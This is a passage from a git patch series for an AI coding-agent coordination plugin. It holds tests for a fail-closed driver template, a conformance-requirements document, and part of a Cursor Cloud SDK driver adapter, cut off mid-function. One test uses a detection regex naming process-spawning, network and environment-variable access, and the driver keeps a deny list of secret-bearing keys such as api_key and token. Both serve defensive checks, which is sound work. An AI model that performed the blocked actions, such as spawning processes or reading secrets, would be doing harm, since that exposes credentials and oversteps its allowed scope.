+test('unattested exact-model posture blocks preflight', () => { + const packed = futureHarnessTemplateOptionsV1('dsh', { + exact_model_selection: 'exact_unattested', + }); + const bound = bindFutureHarnessDriverTemplateV1(packed.options); + const preflight = bound.preflight(buildDriverOperationRequestV1('preflight', packed.fixture.envelope)); + assert.equal(preflight.disposition, 'blocked'); + assert.equal(preflight.detail_code, 'model_unattested'); + expectCode( + () => bound.launch(buildDriverOperationRequestV1('launch', packed.fixture.envelope)), + 'blocked_lane_denied', + ); +}); + +test('unsupported cancel reattach and events fail closed after a possible send is still denied', () => { + const { bound, fixture } = templateFor('grok'); + bound.preflight(buildDriverOperationRequestV1('preflight', fixture.envelope)); + bound.launch(buildDriverOperationRequestV1('launch', fixture.envelope)); + expectCode( + () => bound.reconcile(buildDriverOperationRequestV1('reconcile', fixture.envelope, { + intent: 'restart_reattach', + })), + 'unsupported_capability', + ); + expectCode( + () => bound.reconcile(buildDriverOperationRequestV1('reconcile', fixture.envelope, { + include: ['detailed_events'], + })), + 'unsupported_capability', + ); +}); + +test('the template source stays inert: no clocks, random IDs, network, or processes', () => { + const source = readFileSync(fileURLToPath(new URL('../mcp/v3/provider-driver-template.mjs', import.meta.url)), 'utf8'); + assert.doesNotMatch(source, /Date\.now|performance\.now|Math\.random|randomUUID|setTimeout|setInterval|fetch\(|createConnection|child_process|spawn\(|execFile|net\.|http\.|https\.|process\.env/u); + assert.match(source, /No provider transport is configured/u); +}); + +test('provider/declaration workspace mismatch fails closed', () => { + const fixture = buildFutureHarnessFixtureV1('dsh'); + expectCode(() => createFutureHarnessDriverTemplateV1({ + identity: fixture.identity, + declaration: futureHarnessFailClosedDeclarationV1('grok'), + }), 'provider_slot_mismatch'); +}); From 54fba3b94ca75d305a898c18895200b1f3eef679 Mon Sep 17 00:00:00 2001 From: Cole Lyons Date: Sun, 23 Aug 2026 04:38:22 +0000 Subject: [PATCH 35/81] docs(provider): document capability and evidence requirements Distinguish required contract evidence, supported-capability evidence, unsupported-operation closure, and real-transport qualification. Mock conformance never proves a live provider route. --- docs/future-harness-conformance.md | 89 ++++++++++++++++++++++++++++++ 1 file changed, 89 insertions(+) create mode 100644 docs/future-harness-conformance.md diff --git a/docs/future-harness-conformance.md b/docs/future-harness-conformance.md new file mode 100644 index 0000000..46165b0 --- /dev/null +++ b/docs/future-harness-conformance.md @@ -0,0 +1,89 @@ +# Future-harness capability and evidence requirements (P22) + +P22 is an interface/template and a reusable conformance kit over the accepted +P17 `ProviderDriverV1` contract. It is not a fifth provider, not a supervisor +or registry cutover, and not a live transport. Future harnesses copy the +inert template, bind caller-supplied identities, and run the same kit. + +Owned files: + +- `plugins/codex-co-engineer/mcp/v3/provider-driver-template.mjs` +- `plugins/codex-co-engineer/mcp/v3/future-harness.mjs` +- `plugins/codex-co-engineer/mcp/v3/provider-driver-conformance.mjs` +- `plugins/codex-co-engineer/test/fixtures/r1-future-harness-conformance.mjs` +- `plugins/codex-co-engineer/test/r1-future-harness.test.mjs` +- `plugins/codex-co-engineer/test/r1-future-harness-adversarial.test.mjs` +- `plugins/codex-co-engineer/test/r1-future-harness-conformance.test.mjs` + +## Required contract evidence + +Every future harness must prove the closed P17 lifecycle, using P17 +validators rather than a parallel schema: + +- Exactly the four own operations `preflight`, `launch`, `reconcile`, and + `cancel`. No `reply`, `retry`, `relaunch`, or merge/PR operation. +- The accepted P05 13-field capability record, including + `never_replay` and `none_codex_only_integration`. +- Exact compiled `ChildEnvelopeV1` bytes plus the matching digest. Digest-only + launches are denied. +- Frozen receipts that echo the proven `run_id`, `assignment_id`, + `lane_index`, `base_sha`, and envelope digest. +- Preflight before spawn. A blocked preflight cannot launch. A possible send + is never replayed onto this or another transport. + +This evidence is contract evidence. It does not attest a live route. + +## Supported-capability evidence + +A declared-supported feature is evidence only when the harness actually +exercises it through P17: + +- `cancellation: supported` — cancel after a real dispatch observation, with + `cancel_requested` / `cancel_confirmed` / `already_terminal`. +- `restart: reconcile_reattach_only` — reattach the exact recorded identity. + It is never a relaunch. +- `detailed_events` / `live_progress` — bounded include lists on reconcile + only, never extra receipt keys. +- `same_session_reply: live_session_reply` — still not a fifth method. + Attention remains `unresolved_attention` until a later supported reply + path exists outside this kit. + +The inert template does not claim these features. Its fail-closed feature +record is explicit and caller-supplied. + +## Unsupported-operation closure + +Unsupported means fail closed, not "try anyway": + +- Defaults for the template are all-unsupported features and `not_sent` + launch (no transport is configured). +- Cancel, restart reattach, live progress, and detailed events throw + `unsupported_capability` when declared unsupported. +- Same-session reply `unsupported_unresolved_attention` must not invent a + continuation. +- Merge, push, create-PR, fallback, replay, credentials, and direct-mode + keys keep the P02 forbidden-class codes. +- Exact provider, model, workspace, run, request, branch, and base + identities are caller-supplied, validated through P17, frozen, and never + substituted. + +## Real-transport qualification + +Mocks never prove a live route. + +| Evidence class | What it may prove | What it must not claim | +| --- | --- | --- | +| Required contract | P17 surface, identity echo, no replay | Any provider is reachable | +| Supported capability | Declared feature behaves as declared | The feature works on a real host | +| Unsupported closure | Honest denial, no fallback | A missing feature is implemented | +| Real-transport qualification | Live spawn, events, cancel, reattach, terminal | — this kit does not produce it | + +`runFutureHarnessConformanceKitV1` always returns +`live_transport_qualification: false`. Passing the kit, the inert template, +or a scripted double is mock/conformance evidence only. Grok, Cursor Local, +Cursor Cloud, and DSH live qualification remain later, separate lanes after +those adapters are accepted. + +The template launches no process, opens no network, reads no clock or random +source, and stores no credentials. Future harnesses that add a transport must +inject that transport and qualify it with real-route evidence outside P22. From fc40f97d9f0c44f36a60362a293da29338bee405 Mon Sep 17 00:00:00 2001 From: Cole Lyons Date: Sun, 23 Aug 2026 02:36:13 +0000 Subject: [PATCH 36/81] refactor(cloud): implement SDK driver Add the Cursor Cloud ProviderDriverV1 adapter over an injected bounded SDK transport. Hard-bind provider cursor-cloud, attested exact models, clean pinned starting SHA, and create/send confirmation. Launch reports dispatched only after an authoritative agent/run/request identity; post-intent loss is dispatch_uncertain and is never replayed. Automatic PR creation is prohibited. --- .../mcp/v3/cursor-cloud-driver.mjs | 1404 +++++++++++++++++ .../r1-cursor-cloud-driver-fixtures.mjs | 222 +++ .../test/r1-cursor-cloud-driver.test.mjs | 402 +++++ 3 files changed, 2028 insertions(+) create mode 100644 plugins/codex-co-engineer/mcp/v3/cursor-cloud-driver.mjs create mode 100644 plugins/codex-co-engineer/test/fixtures/r1-cursor-cloud-driver-fixtures.mjs create mode 100644 plugins/codex-co-engineer/test/r1-cursor-cloud-driver.test.mjs diff --git a/plugins/codex-co-engineer/mcp/v3/cursor-cloud-driver.mjs b/plugins/codex-co-engineer/mcp/v3/cursor-cloud-driver.mjs new file mode 100644 index 0000000..59fe35d --- /dev/null +++ b/plugins/codex-co-engineer/mcp/v3/cursor-cloud-driver.mjs @@ -0,0 +1,1404 @@ +// CursorCloudDriverV1 — the P21 Cursor Cloud SDK adapter over accepted +// ProviderDriverV1. +// +// Additive v3 module. It owns ONLY the Cursor Cloud-specific binding of the +// accepted P17 envelope/capability contract onto an injected bounded Cursor +// SDK transport. Existing mcp/v3/cursor-cloud-worker.mjs is not modified: +// - provider slot is exactly `cursor-cloud`; every other provider fails +// closed with provider_slot_mismatch; +// - exact requested/effective model, provider repository identity, +// immutable starting SHA, ChildEnvelope text/digest, run/assignment/lane, +// stable request id, cloud agent id, provider run id, and branch identity +// are required on transport receipts; +// - preflight rejects dirty checkout, absent/credential-bearing/mutable +// repository identity, non-commit starting refs, base advancement, +// merge/create-PR/push authority, and ambiguous duplicate identities; +// - launch reports dispatched only after an authoritative SDK run identity +// (agent id + provider run id + request id). Any uncertainty after +// create/send intent is dispatch_uncertain and is never replayed or +// fallback-substituted; +// - reconcile restart reattaches by the exact recorded agent/run/request +// identity only; terminal verification requires provider-reported state +// plus independently verifiable Git/branch/base evidence and claims +// nothing the transport did not expose; +// - cancel targets only the exact recorded run and reports cancel/archive +// outcomes truthfully; terminal latches make later cancel already_terminal +// with no further transport; +// - same-session reply is unsupported_unresolved_attention, never a new run; +// - result/event/error data is bounded and content-free; hostile JSON, +// proxies, accessors, caps, secrets, and prompt text fail closed. +// +// Capability posture is honest: remote managed workspace starting at a pinned +// pushed SHA, exact-model selection only when attested, merge none, create PR +// prohibited, never_replay. This slice is not live-transport qualification. + +import { Buffer as NodeBuffer } from 'node:buffer'; +import { timingSafeEqual as cryptoTimingSafeEqual } from 'node:crypto'; +import { types as utilTypes } from 'node:util'; + +import { + DRIVER_DECLARATION_SCHEMA_ID, + DRIVER_FEATURE_VALUES, + DRIVER_OPERATIONS, + DRIVER_RESULT_SCHEMA_IDS, + PROVIDER_CAPABILITIES_BRIDGE_SCHEMA_ID, + PROVIDER_DRIVER_VERSION, + assertProviderDriverV1, + bindProviderDriverV1, + validateDriverCancelRequestV1, + validateDriverDeclarationV1, + validateDriverLaunchRequestV1, + validateDriverPreflightRequestV1, + validateDriverReconcileRequestV1, +} from './provider-driver.mjs'; +import { + capturedCreate, + capturedDefineProperty, + capturedDescriptor, + capturedFreeze, + capturedIncludes, + capturedIsArray, + capturedJoin, + capturedTest, + capturedUtf8ByteLength, + isModelId, + sortedCapturedKeys, +} from './grammar.mjs'; +import { DIGEST_HEX_LENGTH, IDENTITY_LABELS } from './identity.mjs'; +import { + SHA40_PATTERN, + assertAllowedKeys, + assertBoundedText, + assertDenseJsonArray, + assertJsonDataObject, + isPlainObject, +} from './run-manifest.mjs'; +import { + SHA256_DIGEST_PATTERN, + assertDirectJsonClosure, + assertNotProxy, + assertPlainObject, + fail, + freezeData, + hasOwn, + identityBoundDigest, + optOwn, +} from './selection-json.mjs'; + +export const CURSOR_CLOUD_PROVIDER_SLOT = 'cursor-cloud'; +export const CURSOR_CLOUD_DRIVER_SCHEMA_ID = 'codex-co-engineer.cursor-cloud-driver.v1'; +export const CURSOR_CLOUD_TRANSPORT_SCHEMA_ID = 'codex-co-engineer.cursor-cloud-transport.v1'; +export const CURSOR_CLOUD_EVIDENCE_SCHEMA_ID = 'codex-co-engineer.cursor-cloud-evidence.v1'; +export const CURSOR_CLOUD_CAPABILITY_REVISION = 'p21.cursor-cloud.1'; +export const CURSOR_CLOUD_DRIVER_VERSION = 1; + +export const CURSOR_CLOUD_TRANSPORT_OPERATIONS = capturedFreeze([ + 'preflight', 'create', 'send', 'observe', 'cancel', 'reattach', +]); + +export const CURSOR_CLOUD_AGENT_ID_PATTERN = /^[A-Za-z0-9][A-Za-z0-9._:-]{0,127}$/u; +export const CURSOR_CLOUD_RUN_ID_PATTERN = /^[A-Za-z0-9][A-Za-z0-9._:-]{0,127}$/u; +export const CURSOR_CLOUD_REQUEST_ID_PATTERN = /^ccr-[0-9a-f]{32}$/u; +export const CURSOR_CLOUD_BRANCH_PATTERN = /^[A-Za-z0-9][A-Za-z0-9._/-]{0,127}$/u; +export const CURSOR_CLOUD_REPO_IDENTITY_PATTERN = /^[a-z0-9][a-z0-9.-]*(?::[0-9]{1,5})?\/[A-Za-z0-9._~/-]+$/u; +export const CURSOR_CLOUD_REPO_URL_PATTERN = /^https:\/\/[a-z0-9][a-z0-9.-]*(?::[0-9]{1,5})?\/[A-Za-z0-9._~/-]+$/u; +export const CURSOR_CLOUD_CURSOR_PATTERN = /^[0-9]{1,16}$/u; + +export const MAX_CURSOR_CLOUD_EVENT_PAGE = 32; +export const MAX_CURSOR_CLOUD_EVENT_BYTES = 32 * 1024; +export const MAX_CURSOR_CLOUD_EVENT_COUNT = 1_000_000; +export const MAX_CURSOR_CLOUD_TIMING_MS = 86_400_000; +export const MAX_CURSOR_CLOUD_QUESTION_ID_BYTES = 80; + +export const CURSOR_CLOUD_OBSERVE_STATUSES = capturedFreeze([ + 'running', 'needs_attention', 'completed', 'failed', 'cancelled', 'lost', +]); +export const CURSOR_CLOUD_CANCEL_OUTCOMES = capturedFreeze([ + 'cancel_requested', 'cancel_confirmed', 'already_terminal', +]); +export const CURSOR_CLOUD_EVENT_KINDS = capturedFreeze([ + 'status', 'git', 'usage', 'attention', 'truncated', +]); + +const CHILD_ENVELOPE_DIGEST_PATTERN = new RegExp(`^[0-9a-f]{${DIGEST_HEX_LENGTH}}$`, 'u'); +const DETAIL_CODE_PATTERN = /^[a-z0-9][a-z0-9._-]{0,63}$/u; +const DETAIL_MESSAGE_MAX_BYTES = 512; + +const ARRAY_PUSH = Array.prototype.push; +const BUFFER_FROM = NodeBuffer.from.bind(NodeBuffer); +const IS_PROXY = utilTypes.isProxy; +const MAP_CTOR = Map; +const OBJECT_FREEZE = Object.freeze; +const SET_CTOR = Set; +const SET_HAS = SET_CTOR.prototype.has; +const STRING = String; +const TIMING_SAFE_EQUAL = cryptoTimingSafeEqual; +const WEAK_MAP_CTOR = WeakMap; + +export const CURSOR_CLOUD_DETAIL_CODES = capturedFreeze([ + 'already_terminal', + 'archive_failed', + 'archive_confirmed', + 'base_advanced', + 'cancel_confirmed', + 'cancel_requested', + 'duplicate_identity', + 'live_progress', + 'model_unattested', + 'origin_missing', + 'preflight_blocked', + 'restart_evidence_absent', + 'starting_ref_invisible', + 'starting_ref_invalid', + 'terminal_evidence', + 'transport_unavailable', + 'unresolved_attention', + 'workspace_dirty', +]); + +const PREFLIGHT_RECEIPT_KEYS = capturedFreeze([ + 'ok', 'provider', 'model', 'requested_model', 'effective_model', + 'run_id', 'assignment_id', 'lane_index', 'base_sha', 'child_envelope_digest', + 'starting_sha', 'repository_identity', 'repository_url', 'workspace_clean', + 'starting_ref_visible', 'starting_ref_commit', 'head_sha', 'duplicate_identities', + 'credential_bearing', 'auto_create_pr', 'detail_code', 'detail_message', +]); +const CREATE_RECEIPT_KEYS = capturedFreeze([ + 'created', 'agent_id', 'provider', 'model', 'run_id', 'assignment_id', + 'lane_index', 'base_sha', 'child_envelope_digest', 'starting_sha', + 'repository_identity', +]); +const SEND_RECEIPT_KEYS = capturedFreeze([ + 'acknowledged', 'agent_id', 'provider_run_id', 'request_id', 'branch', + 'provider', 'model', 'run_id', 'assignment_id', 'lane_index', 'base_sha', + 'child_envelope_digest', 'starting_sha', 'repository_identity', +]); +const OBSERVE_RECEIPT_KEYS = capturedFreeze([ + 'agent_id', 'provider_run_id', 'request_id', 'branch', 'provider', 'model', + 'run_id', 'assignment_id', 'lane_index', 'base_sha', 'child_envelope_digest', + 'starting_sha', 'repository_identity', 'status', 'head_sha', 'merge_base_sha', + 'linear_history', 'events', 'progress', 'attention', 'cursor', 'elapsed_ms', + 'event_count', +]); +const CANCEL_RECEIPT_KEYS = capturedFreeze([ + 'outcome', 'archived', 'agent_id', 'provider_run_id', 'request_id', 'provider', + 'model', 'run_id', 'assignment_id', 'lane_index', 'base_sha', + 'child_envelope_digest', 'starting_sha', 'repository_identity', +]); +const REATTACH_RECEIPT_KEYS = capturedFreeze([ + 'reattached', 'agent_id', 'provider_run_id', 'request_id', 'branch', 'provider', + 'model', 'run_id', 'assignment_id', 'lane_index', 'base_sha', + 'child_envelope_digest', 'starting_sha', 'repository_identity', +]); +const PROGRESS_KEYS = capturedFreeze(['cursor', 'event_count', 'elapsed_ms', 'status']); +const ATTENTION_KEYS = capturedFreeze(['question_id']); +const EVENT_RECORD_KEYS = capturedFreeze(['bytes', 'kind']); +const EVIDENCE_QUERY_KEYS = capturedFreeze([ + 'run_id', 'assignment_id', 'child_envelope_digest', +]); +const IDENTITY_ECHO_KEYS = capturedFreeze([ + 'provider', 'model', 'run_id', 'assignment_id', 'lane_index', 'base_sha', + 'child_envelope_digest', +]); +const CONTENT_FORBIDDEN_KEYS = capturedFreeze([ + 'allow_merge', 'api_key', 'authorization', 'create_pr', 'credential', + 'envelope_text', 'fallback', 'password', 'prompt', 'push', 'resend', + 'retry_dispatch', 'secret', 'token', +]); +const POST_INTENT_ERROR_CODES = capturedFreeze([ + 'send_ack_missing', 'transport_exception', 'transport_lost', 'transport_timeout', +]); +const TERMINAL_OBSERVE_STATUSES = capturedFreeze(['completed', 'failed', 'cancelled']); +const TERMINAL_CANCEL_OUTCOMES = capturedFreeze(['cancel_confirmed', 'already_terminal']); +const TERMINAL_LATCH_STATES = capturedFreeze([ + 'terminal', 'cancel_confirmed', 'already_terminal', +]); +const POSSIBLE_SEND_STATES = capturedFreeze([ + 'created', 'dispatch_uncertain', 'dispatched', 'in_progress', 'unresolved_attention', + 'terminal', 'cancel_requested', 'cancel_confirmed', 'already_terminal', +]); +const BLOCKED_PREFLIGHT_CODES = capturedFreeze([ + 'base_advanced', 'model_unattested', 'origin_missing', 'preflight_blocked', + 'starting_ref_invisible', 'starting_ref_invalid', 'transport_unavailable', + 'workspace_dirty', +]); +const BLOCKED_PREFLIGHT_MESSAGES = capturedFreeze({ + base_advanced: 'pinned starting sha no longer matches workspace head', + model_unattested: 'requested model is not attested by the cloud transport', + origin_missing: 'provider repository identity is absent', + preflight_blocked: 'cursor cloud preflight is blocked; the lane fails closed', + starting_ref_invisible: 'starting sha is not provider-visible', + starting_ref_invalid: 'starting ref is not an immutable commit sha', + transport_unavailable: 'cursor cloud preflight failed before create intent', + workspace_dirty: 'workspace checkout is dirty', +}); + +const DRIVER_STORES = new WEAK_MAP_CTOR(); + +const CURSOR_CLOUD_NOTES = 'Cursor Cloud SDK remote managed workspace. Launch confirms only after an authoritative agent/run/request identity. Same-session reply is unsupported. Create PR and merge are prohibited. Process-local lane state only; no supervisor cutover or live-transport qualification.'; + +function truncateForMessage(value) { + const text = STRING(value); + return text.length > 48 ? `${text.slice(0, 45)}...` : text; +} + +function detachFrozenJson(value) { + if (value === null || typeof value !== 'object') return value; + if (capturedIsArray(value)) { + const clone = []; + for (let index = 0; index < value.length; index += 1) { + ARRAY_PUSH.call(clone, detachFrozenJson(value[index])); + } + return OBJECT_FREEZE(clone); + } + const clone = {}; + const keys = sortedCapturedKeys(value); + for (let index = 0; index < keys.length; index += 1) { + const key = keys[index]; + capturedDefineProperty(clone, key, { + value: detachFrozenJson(optOwn(value, key)), + enumerable: true, + configurable: false, + writable: false, + }); + } + return OBJECT_FREEZE(clone); +} + +function digestsEqual(left, right) { + return typeof left === 'string' && typeof right === 'string' + && capturedTest(CHILD_ENVELOPE_DIGEST_PATTERN, left) + && capturedTest(CHILD_ENVELOPE_DIGEST_PATTERN, right) + && TIMING_SAFE_EQUAL(BUFFER_FROM(left, 'hex'), BUFFER_FROM(right, 'hex')); +} + +function laneKey(runId, assignmentId) { + return `${runId}\u0000${assignmentId}`; +} + +function storeFor(driver) { + const store = DRIVER_STORES.get(driver); + if (store === undefined) { + fail('invalid_surface', 'cursor_cloud_driver', + 'inspectCursorCloudLaneEvidenceV1 requires a driver created by this adapter.'); + } + return store; +} + +function cursorCloudCapabilityRecord() { + return { + schema: PROVIDER_CAPABILITIES_BRIDGE_SCHEMA_ID, + artifact_kinds: capturedFreeze([ + 'cloud_receipt', 'git_diff', 'provider_report', 'ref_snapshot', + ]), + create_pr_posture: 'prohibited', + dispatch_certainty: 'confirmed_launch', + exact_model_selection: 'exact_and_attested', + merge_authority: 'none_codex_only_integration', + notes: CURSOR_CLOUD_NOTES, + provider: CURSOR_CLOUD_PROVIDER_SLOT, + replay_posture: 'never_replay', + revision: CURSOR_CLOUD_CAPABILITY_REVISION, + same_session_reply: 'unsupported_unresolved_attention', + workspace_semantics: 'remote_provider_managed', + workspace_starting_point: 'pinned_pushed_sha', + }; +} + +export function cursorCloudDriverDeclarationV1() { + return validateDriverDeclarationV1({ + schema: DRIVER_DECLARATION_SCHEMA_ID, + capability: cursorCloudCapabilityRecord(), + features: { + cancellation: 'supported', + detailed_events: 'supported', + live_progress: 'supported', + restart: 'reconcile_reattach_only', + }, + }); +} + +function assertPatternedId(value, pattern, path, label) { + if (typeof value !== 'string' || !capturedTest(pattern, value)) { + fail('invalid_format', path, `${path} must be a bounded ${label}.`); + } + return value; +} + +function assertDigest(value, path) { + if (typeof value !== 'string' || !capturedTest(CHILD_ENVELOPE_DIGEST_PATTERN, value)) { + fail('invalid_format', path, + `${path} must be a raw lowercase ${DIGEST_HEX_LENGTH}-hex sha256 digest.`); + } + return value; +} + +function assertCommitSha(value, path) { + if (typeof value !== 'string' || !capturedTest(SHA40_PATTERN, value)) { + fail('invalid_format', path, `${path} must be a lowercase 40-hex commit sha.`); + } + return value; +} + +function assertExactModel(value, path) { + if (!isModelId(value)) { + fail('invalid_exact_model_selection', path, + `${path} must be the exact selected Cursor Cloud model identifier.`); + } + return value; +} + +function assertRepositoryIdentity(value, path) { + if (typeof value !== 'string' || !capturedTest(CURSOR_CLOUD_REPO_IDENTITY_PATTERN, value) + || value.includes('@') || value.includes('://')) { + fail('invalid_format', path, + `${path} must be a credential-free immutable host/path repository identity.`); + } + return value; +} + +function assertRepositoryUrl(value, path) { + if (typeof value !== 'string' || !capturedTest(CURSOR_CLOUD_REPO_URL_PATTERN, value) + || value.includes('@') || value.includes('?') || value.includes('#')) { + fail('invalid_format', path, + `${path} must be a credential-free https repository url.`); + } + return value; +} + +function identityFromEnvelope(envelope, childEnvelopeDigest) { + const provider = envelope.execution.provider; + if (provider !== CURSOR_CLOUD_PROVIDER_SLOT) { + fail('provider_slot_mismatch', 'envelope.execution.provider', + `The Cursor Cloud adapter hard-binds provider "${CURSOR_CLOUD_PROVIDER_SLOT}"; received ` + + `"${truncateForMessage(provider)}".`); + } + const model = envelope.execution.model; + if (typeof model !== 'string' || model.length === 0) { + fail('invalid_exact_model_selection', 'envelope.execution.model', + 'The Cursor Cloud adapter requires the exact selected model; digest-or-profile-only launches are denied.'); + } + assertExactModel(model, 'envelope.execution.model'); + const startingSha = envelope.starting_ref; + if (typeof startingSha !== 'string' || !capturedTest(SHA40_PATTERN, startingSha)) { + fail('capability_workspace_mismatch', 'envelope.starting_ref', + 'Cursor Cloud lanes pin one exact provider-visible starting SHA.'); + } + if (startingSha !== envelope.repository.base_sha) { + fail('capability_workspace_mismatch', 'envelope.starting_ref', + 'Cursor Cloud starting SHA must equal the immutable run base SHA; base advancement is denied.'); + } + return capturedFreeze({ + provider: CURSOR_CLOUD_PROVIDER_SLOT, + model, + run_id: envelope.run_id, + assignment_id: envelope.assignment_id, + lane_index: envelope.lane_index, + base_sha: envelope.repository.base_sha, + repository_path: envelope.repository.path, + child_envelope_digest: childEnvelopeDigest, + starting_sha: startingSha, + workspace_semantics: 'remote_provider_managed', + workspace_starting_point: 'pinned_pushed_sha', + }); +} + +function assertReceiptIdentity(receipt, identity, path) { + for (const key of IDENTITY_ECHO_KEYS) { + if (!hasOwn(receipt, key)) { + fail('malformed_receipt', `${path}.${key}`, + `${path}.${key} must echo the exact Cursor Cloud lane identity.`); + } + const actual = optOwn(receipt, key); + const value = identity[key]; + const equal = key === 'child_envelope_digest' ? digestsEqual(actual, value) : actual === value; + if (!equal) { + fail('stale_identity_denied', `${path}.${key}`, + `${path}.${key} must echo ${truncateForMessage(value)}; received ${truncateForMessage(actual)}.`); + } + } + if (hasOwn(receipt, 'starting_sha') && optOwn(receipt, 'starting_sha') !== identity.starting_sha) { + fail('stale_identity_denied', `${path}.starting_sha`, + 'Transport starting SHA does not match the immutable pinned commit.'); + } +} + +function assertClosedReceipt(receipt, allowedKeys, path) { + if (receipt === undefined || receipt === null) { + fail('malformed_receipt', path, `${path} must be a plain transport receipt.`); + } + assertDirectJsonClosure(receipt, path); + assertPlainObject(receipt, 'malformed_receipt', path, path); + assertAllowedKeys(receipt, allowedKeys, path); +} + +function assertNoContentKeys(value, path) { + const keys = sortedCapturedKeys(value); + for (let index = 0; index < keys.length; index += 1) { + const key = keys[index]; + if (capturedIncludes(CONTENT_FORBIDDEN_KEYS, key)) { + if (key === 'create_pr' || key === 'allow_merge' || key === 'push') { + fail('merge_authority_denied', `${path}.${key}`, + `${path}.${key} is prohibited; Cursor Cloud runs never create a PR, merge, or push.`); + } + if (key === 'fallback' || key === 'resend' || key === 'retry_dispatch') { + fail('replay_or_fallback_denied', `${path}.${key}`, + `${path}.${key} is forbidden; Cursor Cloud never replays or fallback-substitutes.`); + } + fail('content_key_denied', `${path}.${key}`, + `${path}.${key} is forbidden on Cursor Cloud transport messages.`); + } + } +} + +function boundedDiagnosticMessage(code, fallback) { + const text = typeof fallback === 'string' && fallback.length > 0 ? fallback : code; + if (capturedUtf8ByteLength(text) <= DETAIL_MESSAGE_MAX_BYTES) return text; + return text.slice(0, 64); +} + +function blockedPreflightDetail(code) { + const mapped = capturedIncludes(BLOCKED_PREFLIGHT_CODES, code) ? code : 'preflight_blocked'; + return capturedFreeze({ + detail_code: mapped, + detail_message: BLOCKED_PREFLIGHT_MESSAGES[mapped], + }); +} + +function driverResult(operation, identity, disposition, extras = {}) { + const result = { + schema: DRIVER_RESULT_SCHEMA_IDS[operation], + version: PROVIDER_DRIVER_VERSION, + run_id: identity.run_id, + assignment_id: identity.assignment_id, + lane_index: identity.lane_index, + base_sha: identity.base_sha, + child_envelope_digest: identity.child_envelope_digest, + disposition, + }; + if (hasOwn(extras, 'detail_code')) result.detail_code = optOwn(extras, 'detail_code'); + if (hasOwn(extras, 'detail_message')) result.detail_message = optOwn(extras, 'detail_message'); + return freezeData(result); +} + +function transportIdentityRequest(identity, extras = {}) { + return detachFrozenJson({ + provider: identity.provider, + model: identity.model, + run_id: identity.run_id, + assignment_id: identity.assignment_id, + lane_index: identity.lane_index, + base_sha: identity.base_sha, + child_envelope_digest: identity.child_envelope_digest, + starting_sha: identity.starting_sha, + repository_path: identity.repository_path, + ...extras, + }); +} + +function bindRequestId(identity, agentId) { + const digest = identityBoundDigest(IDENTITY_LABELS.REQUEST_IDEMPOTENCY, { + agent_id: agentId, + assignment_id: identity.assignment_id, + child_envelope_digest: identity.child_envelope_digest, + model: identity.model, + provider: identity.provider, + run_id: identity.run_id, + starting_sha: identity.starting_sha, + }); + if (!capturedTest(SHA256_DIGEST_PATTERN, digest)) { + fail('invalid_format', 'send.request_id', 'Cursor Cloud request id binding must be a sha256 digest.'); + } + return `ccr-${digest.slice('sha256:'.length, 'sha256:'.length + 32)}`; +} + +function proposedAgentId(identity) { + const digest = identityBoundDigest(IDENTITY_LABELS.PROVIDER_RUN_IDENTITY, { + assignment_id: identity.assignment_id, + child_envelope_digest: identity.child_envelope_digest, + provider: identity.provider, + run_id: identity.run_id, + starting_sha: identity.starting_sha, + }); + return `bc-${digest.slice('sha256:'.length, 'sha256:'.length + 32)}`; +} + +export function assertCursorCloudTransportV1(transport) { + const path = 'cursor_cloud_transport'; + if (transport !== null && (typeof transport === 'object' || typeof transport === 'function') + && IS_PROXY(transport)) { + fail('proxy_denied', path, + `${path} is a live or revoked Proxy; the Cursor Cloud adapter accepts a concrete injected transport only.`); + } + if (!isPlainObject(transport)) { + if (typeof transport === 'object' && transport !== null && !capturedIsArray(transport)) { + fail('exotic_prototype_denied', path, + `${path} must use the standard or null object prototype; exotic prototypes are denied.`); + } + fail('invalid_type', path, + `${path} must be a plain record of the closed Cursor Cloud SDK transport operations.`); + } + const entries = assertJsonDataObject(transport, path); + const expected = new SET_CTOR(CURSOR_CLOUD_TRANSPORT_OPERATIONS); + if (entries.length !== CURSOR_CLOUD_TRANSPORT_OPERATIONS.length + || entries.some(({ key }) => !SET_HAS.call(expected, key))) { + const received = entries.map(({ key }) => key).join(', ') || 'none'; + fail('invalid_surface', path, + `${path} must expose exactly ${capturedJoin(CURSOR_CLOUD_TRANSPORT_OPERATIONS, ', ')}; received ${received}.`); + } + for (const { key, value } of entries) { + if (typeof value !== 'function' || IS_PROXY(value)) { + fail('invalid_operation', `${path}.${key}`, + `${path}.${key} must be a concrete synchronous transport function.`); + } + } + return capturedFreeze({ + schema: CURSOR_CLOUD_TRANSPORT_SCHEMA_ID, + operations: capturedFreeze([...CURSOR_CLOUD_TRANSPORT_OPERATIONS]), + mode: 'injected_bounded_sdk_port', + }); +} + +function callTransport(store, operation, request) { + const handler = capturedDescriptor(store.handlers, operation)?.value; + if (typeof handler !== 'function' || IS_PROXY(handler)) { + fail('invalid_operation', `cursor_cloud_transport.${operation}`, + `cursor_cloud_transport.${operation} must be a concrete function.`); + } + return handler.call(store.transport, request); +} + +function getLane(store, identity) { + return store.lanes.get(laneKey(identity.run_id, identity.assignment_id)); +} + +function putLane(store, identity, patch) { + const prior = getLane(store, identity) ?? capturedCreate(null); + const next = freezeData({ + ...prior, + ...patch, + identity, + }); + store.lanes.set(laneKey(identity.run_id, identity.assignment_id), next); + return next; +} + +function assertLaneIdentity(prior, identity, path) { + if (prior === undefined) return; + if (!digestsEqual(prior.identity.child_envelope_digest, identity.child_envelope_digest)) { + fail('stale_identity_denied', `${path}.child_envelope_digest`, + 'The request envelope digest does not match the exact Cursor Cloud child previously observed.'); + } + if (prior.identity.model !== identity.model) { + fail('stale_identity_denied', `${path}.model`, + 'The envelope model differs from the exact model recorded at Cursor Cloud preflight.'); + } + if (prior.identity.starting_sha !== identity.starting_sha) { + fail('stale_identity_denied', `${path}.starting_sha`, + 'The pinned starting SHA differs from the immutable SHA recorded at preflight.'); + } +} + +function laneMayHaveSent(record) { + return record !== undefined && ( + record.created === true + || record.dispatch_intent === true + || capturedIncludes(POSSIBLE_SEND_STATES, record.state) + ); +} + +function hasTerminalLatch(record) { + if (record === undefined) return false; + if (record.terminal_latch === true) return true; + if (capturedIncludes(TERMINAL_LATCH_STATES, record.state)) return true; + if (record.last_status !== undefined + && capturedIncludes(TERMINAL_OBSERVE_STATUSES, record.last_status)) { + return true; + } + return record.cancel_outcome !== undefined + && capturedIncludes(TERMINAL_CANCEL_OUTCOMES, record.cancel_outcome); +} + +function isPostIntentFailure(error) { + return error !== null && typeof error === 'object' + && typeof error.code === 'string' + && capturedIncludes(POST_INTENT_ERROR_CODES, error.code); +} + +function markUncertain(store, identity, extras = {}) { + putLane(store, identity, { + state: 